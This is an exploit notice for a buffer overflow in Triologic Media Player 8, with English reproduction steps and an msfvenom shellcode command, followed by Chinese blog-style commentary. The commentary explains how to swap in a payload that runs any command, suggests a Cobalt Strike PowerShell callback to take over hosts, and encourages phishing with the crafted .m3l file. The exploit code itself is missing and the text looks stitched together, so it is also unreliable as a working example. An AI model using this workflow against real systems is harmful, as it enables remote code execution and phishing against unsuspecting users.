# Date: 2020-04-04
# Author: Felipe Winsnes
# Software Link: http://download.cnet.com/Triologic-Media-Player/3000-2139_4-10691520.html
# Version: 8
# Tested on: Windows 7 (x86)

# Proof of Concept:
# 1.- Run the python script, it will create a new file called "poc.m3l".
# 2.- Open the Application.
# 3.- Some windows warning boxes regarding sound issues may pop up, just click OK.
# 4.- Click on the bottom-right button that displays an arrow and has written "LIST".
# 5.- Select the file "poc.m3l".
# 6.- Profit.

import struct

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/unicode_mixed BufferRegister=EAX EXITFUNC=thread 
# Payload size: 512 bytes

利用复现

Triologic Media Player是一个免费的媒体播放器,他的8版本存在缓存区溢出,可以任意执行代码(有主机上线请注意)

使用

msfvenom -p windows/exec CMD=calc.exe -f py -e x86/unicode_mixed BufferRegister=EAX EXITFUNC=thread

生成payload

替换掉buf

替换掉buf

替换掉buf

其中的CMD参数的值是要执行的cmd命令,各位都懂

然后运行Python脚本,会在脚本目录生成poc.m3l文件,如果用Triologic Media Player 8打开这个文件,则会执行预先设置的CMD命令

此处可以用CS生成powershell上线命令,直接上线[aru_5]

Win10默认没有装这个玩意,脚本的作者在Win7上测试成功了,不清楚在Win7,m3l文件的默认打开方式是不是Triologic Media Player

如果是,那么对于一些范围内的机器,可以尝试一波钓鱼[斜眼笑]
